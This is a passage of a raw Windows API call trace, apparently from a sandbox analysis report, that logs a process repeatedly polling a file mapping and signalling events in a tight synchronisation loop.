NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.635] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.635] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.635] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.635] ResetEvent (hEvent=0xe8) returned 1 [0057.635] SetEvent (hEvent=0xec) returned 1 [0057.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.635] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.635] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.635] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.635] ResetEvent (hEvent=0xe8) returned 1 [0057.635] SetEvent (hEvent=0xec) returned 1 [0057.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.635] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.635] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.635] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.636] ResetEvent (hEvent=0xe8) returned 1 [0057.636] SetEvent (hEvent=0xec) returned 1 [0057.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.636] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.636] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.636] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.636] ResetEvent (hEvent=0xe8) returned 1 [0057.636] SetEvent (hEvent=0xec) returned 1 [0057.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.636] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.636] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.636] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.636] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.636] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.636] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.636] ResetEvent (hEvent=0xe8) returned 1 [0057.636] SetEvent (hEvent=0xec) returned 1 [0057.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.636] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.637] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.637] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.637] ResetEvent (hEvent=0xe8) returned 1 [0057.637] SetEvent (hEvent=0xec) returned 1 [0057.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.637] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.637] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.637] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.637] ResetEvent (hEvent=0xe8) returned 1 [0057.637] SetEvent (hEvent=0xec) returned 1 [0057.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.637] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.637] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.637] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.637] ResetEvent (hEvent=0xe8) returned 1 [0057.637] SetEvent (hEvent=0xec) returned 1 [0057.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.637] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.638] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.638] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.638] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.638] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.638] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.638] ResetEvent (hEvent=0xe8) returned 1 [0057.638] SetEvent (hEvent=0xec) returned 1 [0057.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.638] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.638] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.638] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.638] ResetEvent (hEvent=0xe8) returned 1 [0057.638] SetEvent (hEvent=0xec) returned 1 [0057.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.638] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.639] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.639] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.639] ResetEvent (hEvent=0xe8) returned 1 [0057.639] SetEvent (hEvent=0xec) returned 1 [0057.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.639] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.639] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.639] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.639] ResetEvent (hEvent=0xe8) returned 1 [0057.639] SetEvent (hEvent=0xec) returned 1 [0057.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.639] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.639] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.639] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.639] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.639] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.639] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.639] ResetEvent (hEvent=0xe8) returned 1 [0057.640] SetEvent (hEvent=0xec) returned 1 [0057.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.640] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.640] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.640] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.640] ResetEvent (hEvent=0xe8) returned 1 [0057.640] SetEvent (hEvent=0xec) returned 1 [0057.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.640] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.640] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.640] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.640] ResetEvent (hEvent=0xe8) returned 1 [0057.640] SetEvent (hEvent=0xec) returned 1 [0057.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.640] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.640] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.640] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.640] ResetEvent (hEvent=0xe8) returned 1 [0057.641] SetEvent (hEvent=0xec) returned 1 [0057.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.641] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.641] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.641] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.641] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.641] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.641] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.641] ResetEvent (hEvent=0xe8) returned 1 [0057.641] SetEvent (hEvent=0xec) returned 1 [0057.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.641] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.641] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.641] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.641] ResetEvent (hEvent=0xe8) returned 1 [0057.641] SetEvent (hEvent=0xec) returned 1 [0057.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.641] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.642] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.642] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.642] ResetEvent (hEvent=0xe8) returned 1 [0057.642] SetEvent (hEvent=0xec) returned 1 [0057.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.642] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.642] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.642] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.642] ResetEvent (hEvent=0xe8) returned 1 [0057.642] SetEvent (hEvent=0xec) returned 1 [0057.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.642] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.642] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.642] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.642] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.642] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.642] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.642] ResetEvent (hEvent=0xe8) returned 1 [0057.642] SetEvent (hEvent=0xec) returned 1 [0057.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.643] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.643] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.643] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.643] ResetEvent (hEvent=0xe8) returned 1 [0057.643] SetEvent (hEvent=0xec) returned 1 [0057.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.643] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.643] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.643] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.643] ResetEvent (hEvent=0xe8) returned 1 [0057.643] SetEvent (hEvent=0xec) returned 1 [0057.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.643] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.643] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.643] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.643] ResetEvent (hEvent=0xe8) returned 1 [0057.643] SetEvent (hEvent=0xec) returned 1 [0057.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.643] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.644] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.644] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.644] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.644] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.644] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.644] ResetEvent (hEvent=0xe8) returned 1 [0057.644] SetEvent (hEvent=0xec) returned 1 [0057.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.644] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.644] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.644] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.644] ResetEvent (hEvent=0xe8) returned 1 [0057.644] SetEvent (hEvent=0xec) returned 1 [0057.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.644] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.644] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.644] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.644] ResetEvent (hEvent=0xe8) returned 1 [0057.644] SetEvent (hEvent=0xec) returned 1 [0057.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.645] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.645] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.645] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.645] ResetEvent (hEvent=0xe8) returned 1 [0057.645] SetEvent (hEvent=0xec) returned 1 [0057.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.645] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.645] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.645] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.645] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.645] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.645] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.645] ResetEvent (hEvent=0xe8) returned 1 [0057.645] SetEvent (hEvent=0xec) returned 1 [0057.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.645] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.645] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.645] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.646] ResetEvent (hEvent=0xe8) returned 1 [0057.646] SetEvent (hEvent=0xec) returned 1 [0057.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.646] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.646] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.646] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.646] ResetEvent (hEvent=0xe8) returned 1 [0057.646] SetEvent (hEvent=0xec) returned 1 [0057.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.646] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.646] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.646] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.646] ResetEvent (hEvent=0xe8) returned 1 [0057.646] SetEvent (hEvent=0xec) returned 1 [0057.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.646] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.646] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.646] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.646] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.647] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.647] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.647] ResetEvent (hEvent=0xe8) returned 1 [0057.647] SetEvent (hEvent=0xec) returned 1 [0057.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.647] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.647] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.647] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.647] ResetEvent (hEvent=0xe8) returned 1 [0057.647] SetEvent (hEvent=0xec) returned 1 [0057.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.647] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.647] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.647] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.647] ResetEvent (hEvent=0xe8) returned 1 [0057.647] SetEvent (hEvent=0xec) returned 1 [0057.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.647] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.648] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.648] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, 